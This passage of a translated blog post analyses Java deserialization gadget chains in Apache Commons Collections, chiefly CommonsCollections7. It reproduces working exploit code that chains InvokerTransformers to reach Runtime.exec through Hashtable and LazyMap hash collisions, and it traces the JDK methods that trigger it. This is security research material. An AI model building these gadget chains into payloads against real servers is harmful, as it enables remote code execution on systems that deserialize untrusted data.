        s.writeObject(e);
} 

Traverse the key value in the map object and call the writeObject method for serialization. Therefore, the malicious TiedMapEntry object needs to be injected into the key value of HashMap. The key attribute of HashMap is stored in the HashMap#table attribute of HashMap$Node type, and a reflection chain is constructed to obtain the key attribute.
[the external chain picture transfer fails. The source station may have an anti-theft chain mechanism. It is recommended to save the picture and upload it directly (img-kmuybta2-163115364346) (upload / attach / 202108 / 865436_a3fnv7ghzg78f6u. PNG)]

Field f = HashSet.class.getDeclaredField("map");
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = HashMap.class.getDeclaredField("table");
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);

Object node = array[0];
if(node == null){
    node = array[1];
}

Field keyField = node.getClass().getDeclaredField("key");
Reflections.setAccessible(keyField);
keyField.set(node, entry);

By reflecting the key of HashMap, the malicious TiedMapEntry object is assigned to the key attribute. So far, the chain construction is completed.

Commons-Collections7

The sink chain of CommonsCollections7 uses the InvokerTransformer reflection interface. ChainedTransformer connects the InvokerTransformer reflection and the ConstantTransformer interface three times in series to obtain malicious Runtime classes. Call the lazymap.correct method to assign the malicious ChainedTransformer to LazyMap#factory. When calling the LazyMap#get(Object key) method, the execution of malicious code will be triggered. (same as the sink points of CommonsCollections1, CommonsCollections5 and CommonsCollections6)

final String[] execArgs = new String[]{command};

final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

final Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec",
        new Class[]{String.class},
        execArgs),
    new ConstantTransformer(1)};

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

The difference between the sink point of CommonsCollections7 and the previous CC chain is that CommonsCollections7 instantiates the LazyMap object twice.
Select Hashtable from the source point of CommonsCollections7. The specific gadget code is as follows:

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");

return hashtable;

Gadget It has been called two times. Hashtable#Put method, put two LazyMap objects into the Hashtable, * * and finally call remove to empty the yy element in lazyMap2**

### There are two problems:
1.Why do I need to instantiate it twice LazyMap object
2.Why do I need to call remove empty lazyMap2 Medium yy element
 Before answering these two questions, you need to track the deserialization process. track Hashtable#readObject method

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the length, threshold, and loadfactor
s.defaultReadObject();

// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();

// Compute new size with a bit of room 5% to grow but
// no larger than the original size.  Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
    length--;
if (origlength > 0 && length > origlength)
    length = origlength;
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;

// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
    @SuppressWarnings("unchecked")
        K key = (K)s.readObject();
    @SuppressWarnings("unchecked")
        V value = (V)s.readObject();
    // synch could be eliminated for performance
    reconstitutionPut(table, key, value);
}

}

stay readObject The method will be based on Hashtable Call to determine the number of elements reconstitutionPut(table, key, value)Number of methods, follow-up reconstitutionPut method.
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
    throws StreamCorruptedException
{
    if (value == null) {
        throw new java.io.StreamCorruptedException();
    }
    // Makes sure the key is not already in the hashtable.
    // This should not happen in deserialized version.
    int hash = key.hashCode();
    int index = (hash & 0x7FFFFFFF) % tab.length;
    for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
        if ((e.hash == hash) && e.key.equals(key)) {
            throw new java.io.StreamCorruptedException();
        }
    }
    // Creates the new entry.
    @SuppressWarnings("unchecked")
        Entry<K,V> e = (Entry<K,V>)tab[index];
    tab[index] = new Entry<>(hash, key, value, e);
    count++;
}

The e.key.equals(key) method is called in the reconstitutionPut method. Relying on the previous experience of CommonsCollections using the chain, it is necessary to call the LazyMap#get method through various methods in the entry class. The same is true for the gadget construction idea of CommonsCollections7. The gadget author concatenates the entry class and LazyMap by calling the equals method.
When serializing object construction, LazyMap object is passed into the element of Hashtable as the key value of Hashtable. Therefore, when calling the e.key.equals(key) method, the essence is to call the LazyMap#equals method.
[the external chain picture transfer fails. The source station may have an anti-theft chain mechanism. It is recommended to save the picture and upload it directly (img-o6svyvdi-163115364351) (upload / attach / 202108 / 865436_c7xe62mu26yv38c. PNG)]
LazyMap inherits from the AbstractMapDecorator abstract class and calls the AbstractMapDecorator#equals method.

public boolean equals(Object object) {
    if (object == this) {
        return true;
    }
    return map.equals(object);
}

The map object is the HashMap passed in when the LazyMap.decorate method is called

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

Therefore, the equals method in the abstract class AbstractMap inherited by HashMap is finally called

public boolean equals(Object o) {
    if (o == this)
        return true;

    if (!(o instanceof Map))
        return false;
    Map<?,?> m = (Map<?,?>) o;
    if (m.size() != size())
        return false;

    try {
        Iterator<Entry<K,V>> i = entrySet().iterator();
        while (i.hasNext()) {
            Entry<K,V> e = i.next();
            K key = e.getKey();
            V value = e.getValue();
            if (value == null) {
                if (!(m.get(key)==null && m.containsKey(key)))
                    return false;
            } else {
                if (!value.equals(m.get(key)))
                    return false;
            }
        }
    } catch (ClassCastException unused) {
        return false;
    } catch (NullPointerException unused) {
        return false;
    }

    return true;
}

And call the get method of the incoming object in the abstractmap#equals method summary. This article focuses on how to import LazyMap objects as incoming objects. According to the above call flow backstepping, we can see that AbstractMap#equals(Object o) incoming parameter o is determined by the key value introduced in e.key.equals(key) method in reconstitutionPut method. Here we can answer the two questions mentioned above.
When calling the reconstitutionPut method in Hashtable serialization, it will determine whether there is an element in the tab array. If it exists, it will call the e.key.equals(key) method in the for loop.

for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
    if ((e.hash == hash) && e.key.equals(key)) {

Only after the first reconstitutionPut method is called, the elements in the first Hashtable are passed into the tab array. When the second call is made, the tab array will be guaranteed to be non empty, so the e.key.equals(key) method can be called normally.
[the external chain picture transfer fails. The source station may have an anti-theft chain mechanism. It is recommended to save the picture and upload it directly (img-6jxjvvke-163115364353) (upload / attach / 202108 / 865436_736x84vuva2yhqy. PNG)]
The precondition of calling the reconstitutionPut method twice is to ensure that there are two elements in the Hashtable

for (; elements > 0; elements--) {
    @SuppressWarnings("unchecked")
        K key = (K)s.readObject();
    @SuppressWarnings("unchecked")
        V value = (V)s.readObject();
    // synch could be eliminated for performance
    reconstitutionPut(table, key, value);
}

In addition, in order to ensure that the e.key in the e.key.equals(key) method is a LazyMap object, and the passed in key parameter also needs to be a LazyMap object, it is necessary to instantiate the LazyMap object twice, and complete the call of LazyMap during key comparison in Hashtable, so as to complete the construction of utilization chain.
remove is called to clear the yy element in lazyMap2 to keep the number of elements in the two LazyMap objects the same, because there are judgment conditions for comparing the number of LazyMap elements in the AbstractMap#equals method
[the external chain picture transfer fails. The source station may have an anti-theft chain mechanism. It is recommended to save the picture and upload it directly (img-KUGumpXd-1631153264364)(upload/attach/202108/865436_3W35NACDFQTFR3P.png)]
If the number of elements is different, false will be returned directly, and subsequent get requests will not be called, resulting in utilization chain failure.

Posted by BlaineSch on Fri, 10 Sep 2021 01:04:48 -0700